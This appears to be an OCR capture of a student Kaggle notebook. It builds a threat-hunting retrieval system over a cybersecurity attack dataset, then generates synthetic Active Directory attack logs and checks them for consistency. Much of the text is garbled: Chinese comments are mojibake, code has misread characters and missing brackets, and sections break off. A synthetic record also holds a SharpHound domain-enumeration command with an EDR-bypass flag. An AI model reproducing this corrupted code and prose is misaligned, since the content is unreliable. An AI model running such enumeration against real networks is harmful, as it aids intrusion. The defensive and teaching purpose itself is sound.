# sql_query or pandas_kwargs. See the
# documenation for more information:
# https://github.com/Kaggle/kagglehub/blob/mai
n/README . md#kaggledatasetadapterpandas

)

print("First 5 records:", df.head())

ID: A unique number for each entry (e.g., 1, 2, 3).
Title: A short, descriptive name of the attack or scenario (e.g., "Authentication Bypass via SQL Injection").

0 Create a notebook

3 o " o ORI Session options ~
ACCELERATOR

\ GPU T4 x2 -

mmunity \
Quota: 00:24 / 30 hrs - Link to Colab Pro for more Quota
LANGUAGE

'dist-packages (2.10.0+cul28)

on3.12/dist-packages (5.0.0) Python v

13.12/dist-packages (1.12.0)

ion3.12/dist-packages (0.49.2)

'.12/dist-packages (1.2.10) PERSISTENCE

/lib/python3.12/dist-packages (5. Variables and Files -

.12/dist-packages (1.13.2)

12/dist-packages (4.8.3) ENVIRONMENT

Aib/python3.12/dist-packages (0.4.

Pin to original environment

n3.12/dist-packages (0.0.9.post2)

Lene ~

pip install the requirements

I'pip install torch transformers accelerate bitsandbytes langchain \
sentence-transformers faiss—-cpu datasets langchain—-community \
ragatouille pacmap tqgdm



import numpy as np # linear algebra
import pandas as pd # data processing, CSV file I/0 (e.g. pd.read_csv)

import os
for dirname, _, filenames in os.walk('/kaggle/input'):
for filename in filenames:
print(os.path.join(dirname, filename))

Load the Dataset

from datasets import load_dataset

from langchain_core.documents import Document as LangchainDocument
from tqdm import tqdm

import pandas as pd

print(" [x] Loading Cybersecurity Attack Dataset...")
ds = load_dataset("Tanvi289/Cybersecurity_Attack_Dataset", split="train")

RAW_KNOWLEDGE_BASE = []
for row in tqdm(ds):

content_parts = []
for k, v in row.items():
if v is not None and (v).strip():
content_parts.append(f"{k}: {v}")
page_content = "\n".join(content_parts)

metadata = {
"attack_type": (row.get("Attack Type", "Unknown")),
"protocol": (row.get("Protocol", "Unknown")),
"severity": (row.get("Severity Level"™, "Unknown")),
"source_ip": (row.get("Source IP Address", "")),
"dest_ip": (row.get("Destination IP Address", "")),
}
RAW_KNOWLEDGE_BASE . append (

LangchainDocument (page_content=page_content, metadata=metadata)

print(f"[+] Loaded { (RAW_KNOWLEDGE_BASE) } records as LangchainDocuments')



Chunking

from langchain_text_splitters import RecursiveCharacterTextSplitter
from transformers import AutoTokenizer
from typing import List, Optional

EMBEDDING_MODEL_NAME = "thenlper/gte-small" # BEZ:5RIA[#2 BAAI/bge-base-en-
v1l.5

def split_documents(
chunk_size: int,
knowledge_base: List[LangchainDocument],
tokenizer_name: str = EMBEDDING_MODEL_NAME,

) —> List[LangchainDocument]:
fEF token FtEDIR - BHRFITETEUEM embedding #ih -
chunk_size=256 - iEfE IOC/MusKkAIEH
chunk_size=512 - IE#ERX/TTPs E&EZTH (HE)

tokenizer = AutoTokenizer.from_pretrained(tokenizer_name)

text_splitter =

RecursiveCharacterTextSplitter.from_huggingface_tokenizer(
tokenizer,
chunk_size=chunk_size,
chunk_overlap=chunk_size // 10,
add_start_index=True,
strip_whitespace=True,
separators=["\n\n", "\n", ".", " ", ""],

docs_processed = []
unique_texts = {}
for doc in tgdm(knowledge_base, desc="Splitting"):
new_docs = text_splitter.split_documents([doc])
for new_doc in new_docs:
# £8  BRTEMEEMN chunk #EA index
if new_doc.page_content not in unique_texts:
unique_texts [new_doc.page_content] = True
docs_processed.append(new_doc)

print(f"[+] Split into {len(docs_processed)} unique chunks")
return docs_processed



docs_processed = split_documents(chunk_size=512,
knowledge_base=RAW_KNOWLEDGE_BASE)



FAISS (Facebook Al Similarity Search) #II[a= % 5|

from langchain_community.vectorstores import FAISS
from langchain_community.embeddings import HuggingFaceEmbeddings
from langchain_community.vectorstores.utils import DistanceStrategy

print (" [*] Building FAISS index...")

embedding_model = HuggingFaceEmbeddings (
model_name=EMBEDDING_MODEL_NAME,
multi_process=False,
model_kwargs={"device": "cuda"}, # B GPU X "cuda"
encode_kwargs={"normalize_embeddings": True},

KNOWLEDGE_VECTOR_DATABASE = FAISS.from_documents(
docs_processed,
embedding_model,
distance_strategy=DistanceStrategy.COSINE,

# FHRAERS| (BRE8RER)
KNOWLEDGE_VECTOR_DATABASE. save_local("faiss_cybersec_index")
print("[+] FAISS index saved to ./faiss_cybersec_index")



Advanced Search Strategies

# ——— da. ERBUERRE —
def basic_retrieval(query: str, k: int = 10):
return KNOWLEDGE_VECTOR_DATABASE.similarity_search(query, k=k)

# ——— 4b. Metadata BEEERE (KRRERI/BEE) -——
def filtered_retrieval(query: str, attack_type: str = None, severity: str =
None, k: int = 10):
EEEREME + &1EE metadata BiE
5l : R&E DDoS WEHH High severity Hff
filter_dict = {}
if attack_type:
filter_dict["attack_type"] = attack_type
if severity:
filter_dict["severity"] = severity

if filter_dict:
return KNOWLEDGE_VECTOR_DATABASE.similarity_search(
query, k=k, filter=filter_dict
)
return KNOWLEDGE_VECTOR_DATABASE.similarity_search(query, k=k)

# -——— 4c. MMR (Maximal Marginal Relevance) Zi&EM#HE ———
def mmr_retrieval(query: str, k: int = 5, fetch_k: int = 30, lambda_mult:
float = 0.7):
lambda_mult ##iF 1 - {REEREME
lambda_mult #3f 0 - REOZHKM BEEEZEREQDE)
return KNOWLEDGE_VECTOR_DATABASE.max_marginal_relevance_search(
query, k=k, fetch_k=fetch_k, lambda_mult=Tlambda_mult

# ——— 4d. Reranker (CrossEncoder) t&#HF ———
from sentence_transformers import CrossEncoder

RERANKER = CrossEncoder('"cross—encoder/ms—-marco-MinilLM-L-6-v2")

def retrieval_with_reranking(
query: str,
num_retrieved: int = 30,
num_final: int = 5,



) —> List[LangchainDocument]:
Two-stage retrieval:
Stage 1: FAISS #HZ[E (ANN)

Stage 2: CrossEncoder iEHE (cross—attention exact matching)

# Stage 1: FAISS #HZ[ME

relevant_docs = KNOWLEDGE_VECTOR_DATABASE.similarity_search(query,
k=num_retrieved)

# Stage 2: CrossEncoder #&EHF

pairs = [(query, doc.page_content) for doc in relevant_docs]
scores = RERANKER.predict(pairs)

# D EPEFHES > X top-k
scored_docs =

sorted(zip(scores, relevant_docs), key=lambda x: x[0],
reverse=True)

return [doc for _, doc in scored_docs[:num_finall]l



HyDE - Hypothetical Document Embeddings

from langchain_core.prompts import PromptTemplate

from langchain_community.llms import HuggingFacePipeline

from transformers import pipeline as hf_pipeline, AutoModelForCausallLM
import torch

# BANE LLM HMEHNE (FIHREREL)
MODEL_NAME = "mistralai/Mistral-7B-Instruct-v0.2"

# ——— HyDE: 5tA LLM 4Ap MERERMUER) B embed 18R —-
HYDE_PROMPT = PromptTemplate(

input_variables=["question"],

template="""You are a cybersecurity expert. Given a threat hunting
question,
write a hypothetical network log entry or attack record that would perfectly
answer 1it.
Be specific: include attack type, protocol, IP patterns, port numbers,
payload indicators.

Question: {question}
Hypothetical attack record:"""
)

def hyde_retrieval(query: str, 1lm, k: int = 5) —> List[LangchainDocument]:
1. B LM “Epfis N E ik
2. FIRERECEEM embedding BRI query Hig=R
WR : ¥ zero-shot EBEREHRNRBEEIRA
hyde_chain = HYDE_PROMPT | 11lm
hypothetical_doc = hyde_chain.invoke({"question": query})

return KNOWLEDGE_VECTOR_DATABASE.similarity_search(
hypothetical_doc, k=k



Self-Query

from langchain_classic.retrievers import SelfQueryRetriever
from langchain_classic.chains.query_constructor.base import Attributelnfo

# i metadata MM LLM BEIERBIE M
metadata_field_info = [
AttributeInfo(
name="attack_type",
description="Type of cyber attack: DDoS, SQL Injection, XSS,
Malware, Phishing, etc.",
type="string",
)
AttributeInfo(
name="severity",
description="Severity level of the attack: Low, Medium, High,
Critical",
type="string",
)
AttributeInfo(
name="protocol",
description="Network protocol: TCP, UDP, HTTP, HTTPS, DNS, ICMP",
type="string",
W

document_content_description = "Cybersecurity network attack logs with IOCs
and TTPs"



RAG Pipeline

from typing import Tuple, Optional, List
from sentence_transformers import CrossEncoder

RAG_PROMPT_TEMPLATE = """

You are an expert Cyber Threat Intelligence (CTI) analyst.

Use ONLY the retrieved attack records below to answer the threat hunting
question.

Cite specific IOCs, TTPs, and MITRE ATT&CK techniques when relevant.

If the context doesn't contain enough information, say so explicitly.

Context (retrieved attack records):
{context}

Threat Hunting Question: {question}

CTI Analysis:"""

def answer_with_rag(
question: str,
1lm,
knowledge_index,
reranker: Optional[CrossEncoder] = None,
use_mmr: bool = False,
num_retrieved_docs: int = 30,
num_docs_final: int = 5,
) —> Tuplelstr, List]:
# ——— Retrieval ——
print("=> Retrieving documents...")
if use_mmr:
relevant_docs = knowledge_index.max_marginal_relevance_search(
question, k=num_docs_final, fetch_k=num_retrieved_docs
)
else:
relevant_docs = knowledge_index.similarity_search(question,
k=num_retrieved_docs)

relevant_texts = [d.page_content for d in relevant_docs]

# ——— Reranking ——
if reranker:
print("=> Reranking with CrossEncoder...")

pairs = [(question, text) for text in relevant_texts]



scores = reranker.predict(pairs)
scored sorted(zip(scores, relevant_texts), key=lambda x: x[0],
reverse=True)
relevant_texts
else:
relevant_texts

[text for _, text in scored[:num_docs_finalll

relevant_texts[:num_docs_finall

# —— Prompt Assembly ——
context = "\n\n".join(
[f"[Record {i}]:\n{doc}" for i, doc in enumerate(relevant_texts)]
)
final_prompt = RAG_PROMPT_TEMPLATE.format(question=question,
context=context)

# —-—— Generation ——
print("=> Generating CTI analysis...")

answer = llm(final_prompt)

return answer, relevant_texts



usage

if __name__ == "__main__":
# BEHIEH (AFE LM BEFAEER)
test_queries = [
"Find DDoS attacks targeting port 80 with high packet volume",
"SQL injection attempts from external IP addresses",
"DNS tunneling exfiltration indicators",
"Lateral movement via SMB protocol",
"Critical severity incidents involving UDP flood",

print(ll\nll + II:II*6®)
print("CYBERSECURITY RAG - RETRIEVAL TEST")
print("="x60)

for query in test_queries:
print(f"\n[Query] {query}")
results = basic_retrieval(query, k=3)
for i, doc in enumerate(results):
print(f" [{i}] Attack: {doc.metadata.get('attack_type')} | "
f'"Severity: {doc.metadata.get('severity')} | "
f"Protocol: {doc.metadata.get('protocol')}")
print(f" Preview: {doc.page_content[:120]}...")

# EPE : MMR ZixMEER
print("\n[MMR Retrieval] 'network intrusion detection evasion'")
mmr_results = mmr_retrieval("network intrusion detection evasion", k=5,
lambda_mult=0.5)
for doc in mmr_results:
print(f" - {doc.metadata.get('attack_type')} |
{doc.metadata.get('protocol')}")

# ERE - Metadata BIE
print("\n[Filtered Retrievall Only DDoS + High severity")
filtered = filtered_retrieval(
"volumetric flood attack",
attack_type="DDoS",
severity="High",
k=5
)
print(f" Found {len(filtered)} matching records")



CYBERSECURITY RAG - RETRIEVAL TEST

[Query] Find DDoS attacks targeting port 80 with high packet volume
[0] Attack: DDoS — Bandwidth Exhaustion | Severity: Unknown | Protocol:
Unknown
Preview: ID: 237
Title: Volumetric Denial of Service Attack
Category: AI Agents & LLM Exploits
Attack Type: DDoS — Bandwidth Exha...
[1] Attack: Amplification-Based DDoS Using DNS “ANY” Queries | Severity:
Unknown | Protocol: Unknown
Preview: ID: 2910
Title: DNS Amplification
Category: Network Security
Attack Type: Amplification-Based DDoS Using DNS “ANY” Queri...
[2] Attack: Evasion | Severity: Unknown | Protocol: Unknown
Preview: ID: 10063
Title: Spot Abnormal Use of High Port Connections
Category: Blue Team
Attack Type: Evasion
Scenario Descriptio...

[Query] SQL injection attempts from external IP addresses
[0] Attack: External Interaction-Based Exfil | Severity: Unknown
Protocol: Unknown
Preview: ID: 2998
Title: Qut-of-Band SQL Injection
Category: Web Application Security
Attack Type: External Interaction-Based Exf...
[1] Attack: External Interaction-Based Exfil | Severity: Unknown
Protocol: Unknown
Preview: ID: 3002
Title: Out-of-Band SQL Injection
Category: Web Application Security
Attack Type: External Interaction-Based Exf...
[2] Attack: SQL Injection - Out-of-Band | Severity: Unknown | Protocol:
Unknown
Preview: ID: 3196
Title: Out-of-Band SQL Injection via DNS Exfiltration
Category: Web Application Security
Attack Type: SQL Injec...

[Query] DNS tunneling exfiltration indicators
[0] Attack: Covert Data Exfiltration via DNS | Severity: Unknown



Protocol: Unknown
Preview: ID: 2796
Title: DNS Tunneling for Data Exfiltration
Category: Network Security
Attack Type: Covert Data Exfiltration via...
[1] Attack: Data Exfiltration via DNS | Severity: Unknown | Protocol:
Unknown
Preview: ID: 2782
Title: DNS Tunneling via Rogue DNS
Category: Network Security
Attack Type: Data Exfiltration via DNS
Scenario D...
[2] Attack: Data Exfiltration | Severity: Unknown | Protocol: Unknown
Preview: ID: 10059
Title: Identify DNS Tunneling via Flow Volume Analysis
Category: Blue Team
Attack Type: Data Exfiltration
Scen...

[Query] Lateral movement via SMB protocol
[0] Attack: Lateral Movement | Severity: Unknown | Protocol: Unknown
Preview: ID: 10037
Title: Detect Lateral Movement via SMB over NetBIOS
Category: Blue Team
Attack Type: Lateral Movement
Scenario...
[1] Attack: Lateral Movement | Severity: Unknown | Protocol: Unknown
Preview: ID: 10062
Title: Detect Suspicious Lateral SMB Traffic via Flow
Category: Blue Team
Attack Type: Lateral Movement
Scenar...
[2] Attack: Windows Hash Capture via Forced Auth Trigger | Severity:
Unknown | Protocol: Unknown
Preview: Impact: Credential theft, lateral movement
Detection Method: Monitor for outbound SMB traffic to unknown IPs; alert on
iaa.

[Query] Critical severity incidents involving UDP flood
[0] Attack: Denial-of-Service | Severity: Unknown | Protocol: Unknown
Preview: ID: 13422
Title: DSRC Flooding to Disrupt Traffic Comm
Category: Automotive / Cyber-Physical Systems - Wireless CommunicC...
[1] Attack: Impact - Denial-of-Service (Internal) | Severity: Unknown
Protocol: Unknown
Preview: ID: 9478



Title: Internal NTP Amplification Flood

Category: Red Team

Attack Type: Impact - Denial-of-Service (Internal)
Sius

[2] Attack: CAN Bus DoS | Severity: Unknown | Protocol:

Preview: ID: 13172
Title: Brake Message Flooding
Category: Automotive / Cyber-Physical Systems
Attack Type: CAN Bus DoS
Scenario ...

[MMR Retrieval] 'network intrusion detection evasion'
- Evasion | Unknown

Data Drift / Concept Drift Exploitation | Unknown

Stochastic Model Evasion | Unknown

Data Drift / Concept Drift Exploitation | Unknown

Time-based Credential Spray Evasion | Unknown

[Filtered Retrieval] Only DDoS + High severity
Found @ matching records

Unknown



TASK 3: synthetic data

Explain the role and value of synthetic data in the cybersecurity field:

By generating artificial yet realistic datasets, synthetic data enables cybersecurity
professionals to test, train, and refine their systems without compromising sensitive
information.

Prompting to synthetic data

Prompt:
There's including the explantation of the prompt | design.

You are a synthetic data generator designed for controlled, realistic
dataset creation.
// role definition

## Objective
Generate 20 synthetic records for the dataset described below.
// output from the dataset I given.

## Constraints
- Data must be realistic but entirely fictional (no real persons, no real
identifiers). // avoid LLM hallucination

— Maintain internal consistency between fields.
// avoid the data LLM generating can't recognize

— Avoid duplicates.
— Follow all schema constraints strictly.
— Output MUST be valid JSON array only.

## Schema Definition
// Let LLM abide by this schema format

{{SCHEMA}}

# Example:

#A{

# "user_id": string (UUID-like),

"age": integer (18-65),

"email": string,

"country": string (ISO country name),
"signup_date": string (YYYY-MM-DD),
"is_active": boolean

H OH OH R R R



## Distribution Requirements
// Give me the distribution after output synthetic data that I can double
check the information whether correct or not.

{{DISTRIBUTION_RULES}}

# Example:

# - age: normal distribution centered at 30 (%10)
# - country: 50% US, 30% EU, 20% Asia

# — is_active: 70% true

## Output Requirements

— Return ONLY JSON

— Each record must follow schema exactly
— Include 20 records

## Validation Checklist (self-check before output)
- JSON format valid

Field types correct

No duplicated records

Distribution approximately respected



result
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2 {

3 "sequence_id": "SEQ-0218",

4 "timestamp_vutc": "2026-01-15T16:00:00Z",
5 "actor_entity": {

6 "type": "User Account",

7 "identifier": "rkim@corp.local",

8 "sAMAccountName": "rkim"

9 b
10 "action_type": "Process_Execution",
11 "target entity": {
12 "type": "Host",
13 "name": "FILESERVER-03",
14 "DN": "CN=FILESERVER-03,0U=Servers,DC=corp,DC=local”
15 },
16 "action_payload": {
17 "process_name": "SharpHound.exe",
18 "command_line": "SharpHound.exe -c¢ All --outputdirectory C:\\temp\\bh",
19 "parent_process": "cmd.exe",
20 "hash_md5": "163ae3416h53d3148c58ea%5"
21 },
22 "context_info": {
23 "preceding privilege level": "Backup Operator",
24 "last_successful_auth_method": "LDAP",
25 "process_name": "powershell.exe",
26 "edr_bypassed": true
27 },
28 "network_context": {
29 "source_ip": "185.199.44.12",
30 "destination_ip": "192.168.1.10",
31 "port": 135,
32 "protocol": "WMI/RPC",
33 "is_external_src": true
34 },
35 "detection_alert": {

Quality calibration and analysis

most reasonable: EVT-01013



"sequence_id": "SEQ-0221",
"timestamp_utc": "2026-02-03T06:00:00Z",
"actor_entity": {
"type": "User Account",
"identifier": "rkim@corp.local",
"sAMAccountName": "rkim"
}y
"action_type": "LDAP_Query",
"target_entity": {
"type": "AD_Object",
"name": "Schema Admins Group",
"DN": "CN=Schema Admins,CN=Users,DC=corp,DC=local"
Iy
"action_payload": {
"query_filter": "(&(objectClass=group) (member=x))",
"output_attributes": [
"userPrincipalName",
"memberof",
"servicePrincipalName"
l:
"scope'": "subtree",
"size_limit": 500
}y
"context_info": {
"preceding_privilege_level": "Standard User",
"last_successful_auth_method": "NTLM",
"process_name": "cmd.exe",
"edr_bypassed": false
Iy
"network_context": {
"source_ip": "10.10.2.31",
"destination_ip": "192.168.1.11",
"port': 389,
"protocol": "LDAP",
"is_external_src": false
Ty
"detection_alert": {
"alert_rule": "AdminSDHolder_Group_Query",
"severity": "Critical",
"siem_id": "ALERT-8973",
"mitre_technique": "T1558.004",
"triggered": true
s
"attack_stage": "Reconnaissance",
"data_quality": "clean",



"event_id": "EVT-01013"
}

EELRIMNENESE rkin (—A{EAERIE) D Standard User 1R > &i@ NTLM 258
1% » ¥f Schema Admins Group 35#E LDAP &3 - WEEEZIEECA Reconnaissance ° SEH{L
ZENEREBEEEN ¢

Stage «— Action —F : {RZZ[EER{FFE LDAP FI28E$4HRL & » 152 BloodHound /
SharpHound &% RIVTAE -

Actor < Privilege B2 : Standard User fiIEREHENNEBYIHITS » REEFERRZEZE
=R -

Target ;55 IEf& : &:8 Schema Admins Group £ 5B B 125 ZHIZ4EEN(E -

Alert rule ¥1f& : AdminSDHolder_Group_Query 1F3F 28RS AR AHE ARIFRE! -
Network context —%% : NE[S IP - LDAP port 389 ~ is_external_src: false °
edr_bypassed: false » TERFEEFAERNITAIFE

—rlMERRE MITRE 12524 T1558.004 (AS-REP Roasting) » fEsZE st ES
T1069.002 (Domain Groups Discovery) °

most unreasonable: EVT-01004

"sequence_id": "SEQ-0218",
"timestamp_utc": '"2026-01-15T17:12:00Z",
"actor_entity": {
"type': "User Account",
"identifier": "rkim@corp.local",
"sAMAccountName": "rkim"
Ty
"action_type": "LDAP_Query",
"target_entity": {
"type": "AD_Object",
"name": "AdminSDHolder",
"DN": "CN=AdminSDHolder,CN=System,DC=corp,DC=1local"
Jr
"action_payload": {
"query_filter": "(&(objectClass=group) (member=x))",
"output_attributes": [
"dnsHostName",
"operatingSystem",
"lastLogonTimestamp"
Il
"scope": "onelevel",
"size_limit": 0



}

"context_info": {

"preceding_privilege_level": "Backup Operator",
"last_successful_auth_method": "Certificate",
"process_name": "powershell.exe",

"edr_bypassed": false

Iy

"network_context": {
"source_ip": "185.199.44.12",
"destination_ip": "192.168.1.11",
"port': 389,
"protocol": "LDAP",
"is_external_src": true

I

"detection_alert": {
"alert_rule": "PsExec_Remote_Execution",
"severity": "Critical",
"siem_id": "ALERT-5422",
"mitre_technique": "T1003.001",
"triggered": true

e

"attack_stage": '"Lateral_Movement",

"data_quality": '"clean",
"event_id": "EVT-01004"

BELBEFEEDNEBRAUNEEYE  SHM MREEEE EENESTI—REE

=

J§ 1 — Stage vs Action : attack_stage 1Zid4 Lateral_Movement > {E action_type =&
LDAP_Query ° LDAP EHAE FRHEMNREITS » FEERFRIRQRES -

X & 2 — Alert rule vs Action : GRS Z4RAIIZ PsExec_Remote Execution 1535%%1’—1:
IRZ<;8 A {E{a] PsExec 1HEARY process execution » A2 —1{@& LDAP &if - i5{EEZRulAE7ELE
IBIE T g% -

& 3 — MITRE technique vs Protocol : 1Z524 T1003.001 (OS Credential Dumping:
LSASS Memory) > {BE4ERIZE LDAP port 389 ° LSASS dump EEEBIEF 14 F#1T
procdump 3§ mimikatz - RNPJEEEME LDAP t73:&5TH °

¥ /& 4 — Timestamp #L.F : EVT-01004 MEFEBE 17:12 - BEERIIFHEE EVT-01003
(18:56 ) 21 - EEKR THEBFIMNFHEIEILEE - th 2 kZE Lateral Movement PEER = 7AEX
4 7£ Privilege Escalation Z A °

Solution : Build a Cross-Field Constraint Engine (ZEIIFEHN4IR5|
)
=



RARE L RZRE SEMOM T BILEEERE - SRZWAERERAR - ZIEANZEL

constraint mapping :

1. Stage — Action IR XK : EFH =1 attack stage 705FAY action types o {4l
Lateral_Movement RAE¥IME Process_Execution BY Authentication_Attempt > RAEYIFE
LDAP_Query -

2. Action — Alert/MITRE 53R % : S1E action type #iE—4HSHEAY alert rules F1 MITRE
techniques ° 41 LDAP_Query REEMEEX Suspicious_LDAP_Enumeration *
Large_LDAP_Result_Set ~ AdminSDHolder_Group_Query HHEZRBEHE » & T1069.002 ~
T1087.002 % °

3. Action — Protocol/Port EEMEY : LDAP_Query wh’EE LDAP/389 >
Kerberos_Ticket_Request WhZBHs= Kerberos/88 » RAFFAREX o

4. Timestamp HEFREE | E£FTIRERMFEERTR > SE8HIM sorted() BEE > HEIRIGERIEE

1 o

5. Stage {E#EBER : [F5IAR attack stage W ZEB1E kill chain J[EF » R FFHIR Lateral
Movement 7£ Privilege Escalation ZRIEVIE R (FRIEAIRENEIRIG=ERET) ©



